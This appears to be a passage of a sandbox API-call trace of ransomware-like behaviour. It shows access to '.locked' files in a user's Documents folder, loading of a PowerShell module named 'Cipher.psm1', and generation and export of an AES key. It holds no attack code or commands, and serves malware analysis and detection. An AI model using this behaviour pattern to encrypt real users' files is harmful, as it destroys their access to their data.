lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc.locked"), fInfoLevelId=0x0, lpFileInformation=0x6951b08 | out: lpFileInformation=0x6951b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12a640b3, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x12a640b3, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x12a8a29d, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x57f4)) returned 1 [0133.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked", lpFilePart=0x0) returned 0x39 [0133.285] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.285] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.285] CloseHandle (hObject=0x858) returned 1 [0133.286] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0133.286] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0133.287] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0133.291] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0133.291] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0133.291] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0133.291] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0133.294] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0133.295] GetConsoleOutputCP () returned 0x1b5 [0133.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0133.295] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0133.295] GetConsoleOutputCP () returned 0x1b5 [0133.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0133.296] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0133.296] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697a260*, nNumberOfCharsToWrite=0x2e, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x697a260*, lpNumberOfCharsWritten=0x99ae3a4*=0x2e) returned 1 [0133.296] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0133.297] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0133.300] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0133.300] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0133.300] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0133.304] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0133.304] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0133.305] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0133.311] GetConsoleOutputCP () returned 0x1b5 [0133.311] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.311] GetConsoleOutputCP () returned 0x1b5 [0133.311] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.311] GetConsoleOutputCP () returned 0x1b5 [0133.311] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.312] GetConsoleOutputCP () returned 0x1b5 [0133.312] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.312] GetConsoleOutputCP () returned 0x1b5 [0133.312] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.312] GetConsoleOutputCP () returned 0x1b5 [0133.312] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.312] GetConsoleOutputCP () returned 0x1b5 [0133.313] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.313] GetConsoleOutputCP () returned 0x1b5 [0133.313] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.313] GetConsoleOutputCP () returned 0x1b5 [0133.313] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.313] GetConsoleOutputCP () returned 0x1b5 [0133.314] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.314] GetConsoleOutputCP () returned 0x1b5 [0133.314] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.314] GetConsoleOutputCP () returned 0x1b5 [0133.314] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.314] GetConsoleOutputCP () returned 0x1b5 [0133.315] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.315] GetConsoleOutputCP () returned 0x1b5 [0133.315] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.315] GetConsoleOutputCP () returned 0x1b5 [0133.315] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.315] GetConsoleOutputCP () returned 0x1b5 [0133.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.316] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0133.316] GetConsoleOutputCP () returned 0x1b5 [0133.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0133.316] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.317] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697b090*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x697b090*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0133.317] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.317] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0133.321] GetConsoleOutputCP () returned 0x1b5 [0133.321] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.321] GetConsoleOutputCP () returned 0x1b5 [0133.321] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.321] GetConsoleOutputCP () returned 0x1b5 [0133.322] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.322] GetConsoleOutputCP () returned 0x1b5 [0133.322] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.322] GetConsoleOutputCP () returned 0x1b5 [0133.322] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.322] GetConsoleOutputCP () returned 0x1b5 [0133.323] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.323] GetConsoleOutputCP () returned 0x1b5 [0133.323] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.323] GetConsoleOutputCP () returned 0x1b5 [0133.323] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.323] GetConsoleOutputCP () returned 0x1b5 [0133.324] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.324] GetConsoleOutputCP () returned 0x1b5 [0133.324] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.324] GetConsoleOutputCP () returned 0x1b5 [0133.324] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.324] GetConsoleOutputCP () returned 0x1b5 [0133.325] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.325] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0133.325] GetConsoleOutputCP () returned 0x1b5 [0133.325] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0133.325] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.326] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697bae8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x697bae8*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0133.326] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.326] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0133.330] GetConsoleOutputCP () returned 0x1b5 [0133.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.330] GetConsoleOutputCP () returned 0x1b5 [0133.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.330] GetConsoleOutputCP () returned 0x1b5 [0133.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.331] GetConsoleOutputCP () returned 0x1b5 [0133.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.331] GetConsoleOutputCP () returned 0x1b5 [0133.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.331] GetConsoleOutputCP () returned 0x1b5 [0133.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.332] GetConsoleOutputCP () returned 0x1b5 [0133.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.332] GetConsoleOutputCP () returned 0x1b5 [0133.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.332] GetConsoleOutputCP () returned 0x1b5 [0133.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.333] GetConsoleOutputCP () returned 0x1b5 [0133.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.333] GetConsoleOutputCP () returned 0x1b5 [0133.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.333] GetConsoleOutputCP () returned 0x1b5 [0133.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.334] GetConsoleOutputCP () returned 0x1b5 [0133.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.334] GetConsoleOutputCP () returned 0x1b5 [0133.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.335] GetConsoleOutputCP () returned 0x1b5 [0133.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.335] GetConsoleOutputCP () returned 0x1b5 [0133.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.335] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0133.336] GetConsoleOutputCP () returned 0x1b5 [0133.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.336] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.336] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697d8f4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x697d8f4*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0133.337] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.337] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0133.340] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.340] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.340] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.340] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.340] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.340] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.340] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.341] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0133.341] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.341] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.341] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.341] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.342] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e027a0) returned 1 [0133.342] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e849f8) returned 1 [0133.342] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.343] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.343] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6987438, pdwDataLen=0x99ae894 | out: pbData=0x6987438*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.343] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x73c8\x698\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0133.343] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.343] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.343] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.343] SysStringLen (param_1="") returned 0x8 [0133.343] SysStringLen (param_1="n") returned 0x8 [0133.343] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.343] SysStringLen (param_1="\xaeb4\x2f22\xd1d4\xee2d\x84f0\xa307\xe7d2\xc781") returned 0x8 [0133.343] SysStringLen (param_1="\xaeb4\x2f22\xd1d4\xee2d\x84f0\xa307\xe7d2\xc781") returned 0x8 [0133.343] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.343] SysStringLen (param_1="n0") returned 0x8 [0133.343] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.343] SysStringLen (param_1="\xc531\xfe48\x900d\xbea1\xd655\xf42f\x11e2\xd01e") returned 0x8 [0133.343] SysStringLen (param_1="\xc531\xfe48\x900d\xbea1\xd655\xf42f\x11e2\xd01e") returned 0x8 [0133.343] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.344] SysStringLen (param_1="n0I") returned 0x8 [0133.344] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.344] SysStringLen (param_1="\x2b87\x8134\x9002\x41f\xedab\x23c1\x6ed3\xcf2c") returned 0x8 [0133.344] SysStringLen (param_1="\x2b87\x8134\x9002\x41f\xedab\x23c1\x6ed3\xcf2c") returned 0x8 [0133.344] 